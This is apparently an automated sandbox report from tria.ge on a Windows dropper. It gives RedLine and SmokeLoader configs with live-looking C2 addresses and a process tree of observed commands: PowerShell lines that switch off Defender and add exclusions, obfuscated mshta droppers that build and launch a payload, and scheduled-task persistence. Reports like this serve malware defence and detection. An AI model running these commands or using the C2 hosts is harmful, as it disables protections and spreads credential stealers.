Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

10/11/2021, 14:50

211110-r7nbvaeddr 10

08/11/2021, 16:12

211108-tnmmbahgaj 10

08/11/2021, 15:26

211108-svdsbaccf6 10

08/11/2021, 14:48

211108-r6lfvshdfn 10

Analysis

  • max time kernel
    23s
  • max time network
    1219s
  • platform
    windows10_x64
  • resource
    win10-de-20211014
  • submitted
    08/11/2021, 16:12

General

  • Target

    9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe

Malware Config

Extracted

Family

redline

Botnet

media20

C2

91.121.67.60:2151

Extracted

Family

redline

Botnet

fucker2

C2

135.181.129.119:4805

Extracted

Family

smokeloader

Version

2020

C2

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

http://misha.at/upload/

http://roohaniinfra.com/upload/

http://0axqpcc.cn/upload/

http://mayak-lombard.ru/upload/

http://mebel-lass.ru/upload/

http://dishakhan.com/upload/

rc4.i32
rc4.i32

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 6 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • suricata: ET MALWARE FormBook CnC Checkin (GET)

    suricata: ET MALWARE FormBook CnC Checkin (GET)

  • suricata: ET MALWARE GCleaner Downloader Activity M5

    suricata: ET MALWARE GCleaner Downloader Activity M5

  • suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

    suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

  • suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload

    suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload

  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2

  • suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

    suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

  • Vidar Stealer 1 IoCs
  • ASPack v2.12-2.42 7 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Executes dropped EXE 23 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 10 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 15 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 3 IoCs
  • Kills process with taskkill 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
    "C:\Users\Admin\AppData\Local\Temp\9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1340
    • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
      "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1388
      • C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\setup_install.exe
        "C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\setup_install.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1920
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1160
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1480
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1200
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2484
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Wed128c2773227671b3f.exe
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:420
          • C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed128c2773227671b3f.exe
            Wed128c2773227671b3f.exe
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            PID:2780
            • C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed128c2773227671b3f.exe
              C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed128c2773227671b3f.exe
              6⤵
              • Executes dropped EXE
              PID:4364
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Wed126ca6605dbec0399.exe /mixone
          4⤵
            PID:1172
            • C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed126ca6605dbec0399.exe
              Wed126ca6605dbec0399.exe /mixone
              5⤵
              • Executes dropped EXE
              PID:2204
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 716
                6⤵
                • Program crash
                • Suspicious use of AdjustPrivilegeToken
                PID:4740
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 816
                6⤵
                • Program crash
                PID:5072
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 900
                6⤵
                • Program crash
                PID:4672
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 964
                6⤵
                • Program crash
                PID:3140
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 1100
                6⤵
                • Program crash
                PID:4508
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Wed1217e6a0ef74ed.exe
            4⤵
              PID:2500
              • C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed1217e6a0ef74ed.exe
                Wed1217e6a0ef74ed.exe
                5⤵
                • Executes dropped EXE
                PID:3552
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Wed12bcd18bdbc441.exe
              4⤵
                PID:3948
                • C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed12bcd18bdbc441.exe
                  Wed12bcd18bdbc441.exe
                  5⤵
                  • Executes dropped EXE
                  PID:2536
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Wed1229427acd4bc167.exe
                4⤵
                  PID:1712
                  • C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed1229427acd4bc167.exe
                    Wed1229427acd4bc167.exe
                    5⤵
                    • Executes dropped EXE
                    PID:3144
                    • C:\Users\Admin\Pictures\Adobe Films\6UtEPY63asuoHJ3TV54JT1Sa.exe
                      "C:\Users\Admin\Pictures\Adobe Films\6UtEPY63asuoHJ3TV54JT1Sa.exe"
                      6⤵
                        PID:2148
                      • C:\Users\Admin\Pictures\Adobe Films\pJa6fDF0kzkGEUZHEqeUmqO4.exe
                        "C:\Users\Admin\Pictures\Adobe Films\pJa6fDF0kzkGEUZHEqeUmqO4.exe"
                        6⤵
                          PID:4532
                        • C:\Users\Admin\Pictures\Adobe Films\Fpc1bwzElU4ov9tlBlzhrvcm.exe
                          "C:\Users\Admin\Pictures\Adobe Films\Fpc1bwzElU4ov9tlBlzhrvcm.exe"
                          6⤵
                            PID:4180
                          • C:\Users\Admin\Pictures\Adobe Films\pyz4lHs3r7BEEwyZt0s72UHr.exe
                            "C:\Users\Admin\Pictures\Adobe Films\pyz4lHs3r7BEEwyZt0s72UHr.exe"
                            6⤵
                              PID:4236
                              • C:\Users\Admin\Documents\r5Lv1j4y4p0G8TCeLr26bTCE.exe
                                "C:\Users\Admin\Documents\r5Lv1j4y4p0G8TCeLr26bTCE.exe"
                                7⤵
                                  PID:6536
                                  • C:\Users\Admin\Pictures\Adobe Films\GV77tunz9CCvMr9a91PjNS4k.exe
                                    "C:\Users\Admin\Pictures\Adobe Films\GV77tunz9CCvMr9a91PjNS4k.exe"
                                    8⤵
                                      PID:7900
                                    • C:\Users\Admin\Pictures\Adobe Films\X1f07MT6jKE2UEpkz6kfvsIO.exe
                                      "C:\Users\Admin\Pictures\Adobe Films\X1f07MT6jKE2UEpkz6kfvsIO.exe"
                                      8⤵
                                        PID:4764
                                      • C:\Users\Admin\Pictures\Adobe Films\SExVWsYAgKyS8qXPwutUVIVy.exe
                                        "C:\Users\Admin\Pictures\Adobe Films\SExVWsYAgKyS8qXPwutUVIVy.exe"
                                        8⤵
                                          PID:7356
                                          • C:\Windows\SysWOW64\cmd.exe
                                            cmd.exe /c taskkill /f /im chrome.exe
                                            9⤵
                                              PID:10832
                                          • C:\Users\Admin\Pictures\Adobe Films\FWioiJIJAHr0CfxQpHU7g8t7.exe
                                            "C:\Users\Admin\Pictures\Adobe Films\FWioiJIJAHr0CfxQpHU7g8t7.exe"
                                            8⤵
                                              PID:5136
                                            • C:\Users\Admin\Pictures\Adobe Films\oGQM_xpRE7akxMlbcBUx8sk9.exe
                                              "C:\Users\Admin\Pictures\Adobe Films\oGQM_xpRE7akxMlbcBUx8sk9.exe"
                                              8⤵
                                                PID:5380
                                              • C:\Users\Admin\Pictures\Adobe Films\6zDfwbQTQufA1llXR4BWNFa6.exe
                                                "C:\Users\Admin\Pictures\Adobe Films\6zDfwbQTQufA1llXR4BWNFa6.exe"
                                                8⤵
                                                  PID:6796
                                                  • C:\Windows\SysWOW64\mshta.exe
                                                    "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\6zDfwbQTQufA1llXR4BWNFa6.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\Adobe Films\6zDfwbQTQufA1llXR4BWNFa6.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                    9⤵
                                                      PID:8276
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\6zDfwbQTQufA1llXR4BWNFa6.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\Pictures\Adobe Films\6zDfwbQTQufA1llXR4BWNFa6.exe" ) do taskkill -f -iM "%~NxM"
                                                        10⤵
                                                          PID:3592
                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                            taskkill -f -iM "6zDfwbQTQufA1llXR4BWNFa6.exe"
                                                            11⤵
                                                            • Kills process with taskkill
                                                            PID:10876
                                                    • C:\Users\Admin\Pictures\Adobe Films\5BVoxWAfJ3pwrgh67bjBo5bs.exe
                                                      "C:\Users\Admin\Pictures\Adobe Films\5BVoxWAfJ3pwrgh67bjBo5bs.exe"
                                                      8⤵
                                                        PID:8864
                                                        • C:\Users\Admin\AppData\Local\Temp\is-3GLOH.tmp\5BVoxWAfJ3pwrgh67bjBo5bs.tmp
                                                          "C:\Users\Admin\AppData\Local\Temp\is-3GLOH.tmp\5BVoxWAfJ3pwrgh67bjBo5bs.tmp" /SL5="$901E0,506127,422400,C:\Users\Admin\Pictures\Adobe Films\5BVoxWAfJ3pwrgh67bjBo5bs.exe"
                                                          9⤵
                                                            PID:3604
                                                            • C:\Users\Admin\AppData\Local\Temp\is-1JD8P.tmp\DYbALA.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\is-1JD8P.tmp\DYbALA.exe" /S /UID=2709
                                                              10⤵
                                                                PID:10456
                                                          • C:\Users\Admin\Pictures\Adobe Films\6Lhg04l8MihPYPYK0Z2PiwMY.exe
                                                            "C:\Users\Admin\Pictures\Adobe Films\6Lhg04l8MihPYPYK0Z2PiwMY.exe"
                                                            8⤵
                                                              PID:5020
                                                              • C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
                                                                C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
                                                                9⤵
                                                                  PID:1512
                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                              schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
                                                              7⤵
                                                              • Creates scheduled task(s)
                                                              PID:9036
                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                              schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
                                                              7⤵
                                                              • Creates scheduled task(s)
                                                              PID:10220
                                                          • C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe
                                                            "C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe"
                                                            6⤵
                                                              PID:4060
                                                              • C:\Users\Admin\AppData\Local\Temp\29a0b6b0-c2bc-47eb-9074-0f456964a0c9\AdvancedRun.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\29a0b6b0-c2bc-47eb-9074-0f456964a0c9\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\29a0b6b0-c2bc-47eb-9074-0f456964a0c9\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                                7⤵
                                                                  PID:5776
                                                                  • C:\Users\Admin\AppData\Local\Temp\29a0b6b0-c2bc-47eb-9074-0f456964a0c9\AdvancedRun.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\29a0b6b0-c2bc-47eb-9074-0f456964a0c9\AdvancedRun.exe" /SpecialRun 4101d8 5776
                                                                    8⤵
                                                                      PID:7960
                                                                  • C:\Users\Admin\AppData\Local\Temp\5743d5f5-14a0-4d0a-9c87-2a140706b79a\AdvancedRun.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\5743d5f5-14a0-4d0a-9c87-2a140706b79a\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\5743d5f5-14a0-4d0a-9c87-2a140706b79a\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                                    7⤵
                                                                      PID:6476
                                                                      • C:\Users\Admin\AppData\Local\Temp\5743d5f5-14a0-4d0a-9c87-2a140706b79a\AdvancedRun.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\5743d5f5-14a0-4d0a-9c87-2a140706b79a\AdvancedRun.exe" /SpecialRun 4101d8 6476
                                                                        8⤵
                                                                          PID:7988
                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe" -Force
                                                                        7⤵
                                                                          PID:7656
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe" -Force
                                                                          7⤵
                                                                            PID:6456
                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe" -Force
                                                                            7⤵
                                                                              PID:6692
                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
                                                                              7⤵
                                                                                PID:7184
                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe" -Force
                                                                                7⤵
                                                                                  PID:8264
                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
                                                                                  7⤵
                                                                                    PID:8592
                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe
                                                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe"
                                                                                    7⤵
                                                                                      PID:8976
                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe
                                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe"
                                                                                      7⤵
                                                                                        PID:8040
                                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe
                                                                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe"
                                                                                        7⤵
                                                                                          PID:5140
                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
                                                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
                                                                                          7⤵
                                                                                            PID:9172
                                                                                        • C:\Users\Admin\Pictures\Adobe Films\7ZX8wzTrDJekvFmAL0ZxHN9e.exe
                                                                                          "C:\Users\Admin\Pictures\Adobe Films\7ZX8wzTrDJekvFmAL0ZxHN9e.exe"
                                                                                          6⤵
                                                                                            PID:1356
                                                                                            • C:\Users\Admin\Pictures\Adobe Films\7ZX8wzTrDJekvFmAL0ZxHN9e.exe
                                                                                              "C:\Users\Admin\Pictures\Adobe Films\7ZX8wzTrDJekvFmAL0ZxHN9e.exe"
                                                                                              7⤵
                                                                                                PID:6332
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c Wed12859e3c1cf63b6a0.exe
                                                                                          4⤵
                                                                                            PID:1720
                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed12859e3c1cf63b6a0.exe
                                                                                              Wed12859e3c1cf63b6a0.exe
                                                                                              5⤵
                                                                                              • Executes dropped EXE
                                                                                              • Suspicious use of SetThreadContext
                                                                                              PID:1360
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c Wed120b6f5c6d562.exe
                                                                                            4⤵
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:3016
                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed120b6f5c6d562.exe
                                                                                              Wed120b6f5c6d562.exe
                                                                                              5⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:2844
                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-F24NM.tmp\Wed120b6f5c6d562.tmp
                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-F24NM.tmp\Wed120b6f5c6d562.tmp" /SL5="$6005C,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed120b6f5c6d562.exe"
                                                                                                6⤵
                                                                                                • Executes dropped EXE
                                                                                                • Loads dropped DLL
                                                                                                PID:3824
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c Wed12fbb08f1dfc28.exe
                                                                                            4⤵
                                                                                              PID:1876
                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed12fbb08f1dfc28.exe
                                                                                                Wed12fbb08f1dfc28.exe
                                                                                                5⤵
                                                                                                • Executes dropped EXE
                                                                                                • Checks SCSI registry key(s)
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                • Suspicious behavior: MapViewOfSection
                                                                                                PID:1656
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c Wed12fb2a5c52f05816.exe
                                                                                              4⤵
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:1048
                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed12fb2a5c52f05816.exe
                                                                                                Wed12fb2a5c52f05816.exe
                                                                                                5⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:3668
                                                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                                                  "C:\Windows\System32\mshta.exe" vBSCripT:cLOSe ( creaTeoBJeCT ( "wSCrIpT.shell" ).RuN ( "CMd.ExE /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed12fb2a5c52f05816.exe"" VAKlCUnlQu.exe && STArt VAkLCUnlqU.EXe -PRwIZKFgSE6xyUR7ivEyVbD3Oolfm & If """" =="""" for %E in ( ""C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed12fb2a5c52f05816.exe"" ) do taskkill -F -IM ""%~nxE"" " ,0 , TRUe ) )
                                                                                                  6⤵
                                                                                                    PID:2140
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed12fb2a5c52f05816.exe" VAKlCUnlQu.exe && STArt VAkLCUnlqU.EXe -PRwIZKFgSE6xyUR7ivEyVbD3Oolfm & If "" =="" for %E in ( "C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed12fb2a5c52f05816.exe" ) do taskkill -F -IM "%~nxE"
                                                                                                      7⤵
                                                                                                        PID:4560
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\VAKlCUnlQu.exe
                                                                                                          VAkLCUnlqU.EXe -PRwIZKFgSE6xyUR7ivEyVbD3Oolfm
                                                                                                          8⤵
                                                                                                          • Executes dropped EXE
                                                                                                          PID:4660
                                                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                                                            "C:\Windows\System32\mshta.exe" vBSCripT:cLOSe ( creaTeoBJeCT ( "wSCrIpT.shell" ).RuN ( "CMd.ExE /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\VAKlCUnlQu.exe"" VAKlCUnlQu.exe && STArt VAkLCUnlqU.EXe -PRwIZKFgSE6xyUR7ivEyVbD3Oolfm & If ""-PRwIZKFgSE6xyUR7ivEyVbD3Oolfm "" =="""" for %E in ( ""C:\Users\Admin\AppData\Local\Temp\VAKlCUnlQu.exe"" ) do taskkill -F -IM ""%~nxE"" " ,0 , TRUe ) )
                                                                                                            9⤵
                                                                                                              PID:4776
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\VAKlCUnlQu.exe" VAKlCUnlQu.exe && STArt VAkLCUnlqU.EXe -PRwIZKFgSE6xyUR7ivEyVbD3Oolfm & If "-PRwIZKFgSE6xyUR7ivEyVbD3Oolfm " =="" for %E in ( "C:\Users\Admin\AppData\Local\Temp\VAKlCUnlQu.exe" ) do taskkill -F -IM "%~nxE"
                                                                                                                10⤵
                                                                                                                  PID:5088
                                                                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                                                                "C:\Windows\System32\mshta.exe" vBSCrIpt: cLoSE ( CREaTEOBjECt ( "wSCRiPt.shell" ). RUn ( "cmD.exE /c eCHo | SEt /P = ""MZ"" > s4AW._YK & CoPy /B /y s4aW._YK + 4kt1N2.SAG + JISYX0.0 CFIfB.3 & DEl 4KT1N2.SAG JiSYX0.0 S4AW._YK& STArt msiexec /y .\CFIFB.3 ", 0 ,TRuE ) )
                                                                                                                9⤵
                                                                                                                  PID:4220
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /c eCHo | SEt /P = "MZ" > s4AW._YK & CoPy /B /y s4aW._YK+ 4kt1N2.SAG + JISYX0.0 CFIfB.3 & DEl 4KT1N2.SAG JiSYX0.0 S4AW._YK& STArt msiexec /y .\CFIFB.3
                                                                                                                    10⤵
                                                                                                                      PID:1552
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /S /D /c" eCHo "
                                                                                                                        11⤵
                                                                                                                          PID:1020
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /S /D /c" SEt /P = "MZ" 1>s4AW._YK"
                                                                                                                          11⤵
                                                                                                                            PID:1716
                                                                                                                          • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                            msiexec /y .\CFIFB.3
                                                                                                                            11⤵
                                                                                                                              PID:6104
                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                        taskkill -F -IM "Wed12fb2a5c52f05816.exe"
                                                                                                                        8⤵
                                                                                                                        • Kills process with taskkill
                                                                                                                        PID:1188
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c Wed129eb9b8859.exe
                                                                                                                4⤵
                                                                                                                  PID:1960
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed129eb9b8859.exe
                                                                                                                    Wed129eb9b8859.exe
                                                                                                                    5⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    PID:1972
                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\6UtEPY63asuoHJ3TV54JT1Sa.exe
                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\6UtEPY63asuoHJ3TV54JT1Sa.exe"
                                                                                                                      6⤵
                                                                                                                        PID:1332
                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\Fpc1bwzElU4ov9tlBlzhrvcm.exe
                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\Fpc1bwzElU4ov9tlBlzhrvcm.exe"
                                                                                                                        6⤵
                                                                                                                          PID:4432
                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\pyz4lHs3r7BEEwyZt0s72UHr.exe
                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\pyz4lHs3r7BEEwyZt0s72UHr.exe"
                                                                                                                          6⤵
                                                                                                                            PID:1476
                                                                                                                            • C:\Users\Admin\Documents\BKiooeVCfuh5qzrloJu7ATsv.exe
                                                                                                                              "C:\Users\Admin\Documents\BKiooeVCfuh5qzrloJu7ATsv.exe"
                                                                                                                              7⤵
                                                                                                                                PID:10064
                                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\Ci2g9Zosa85VED7AW6LPBR0P.exe
                                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\Ci2g9Zosa85VED7AW6LPBR0P.exe"
                                                                                                                                  8⤵
                                                                                                                                    PID:5892
                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\OHYJuPMxZc23CVPTLRAVAYc6.exe
                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\OHYJuPMxZc23CVPTLRAVAYc6.exe"
                                                                                                                                    8⤵
                                                                                                                                      PID:4116
                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\TcfoJsPVbElWdL8FrW4vKUKq.exe
                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\TcfoJsPVbElWdL8FrW4vKUKq.exe"
                                                                                                                                      8⤵
                                                                                                                                        PID:1420
                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\PqAsq0aMLXF7cYT9yFiUaTUN.exe
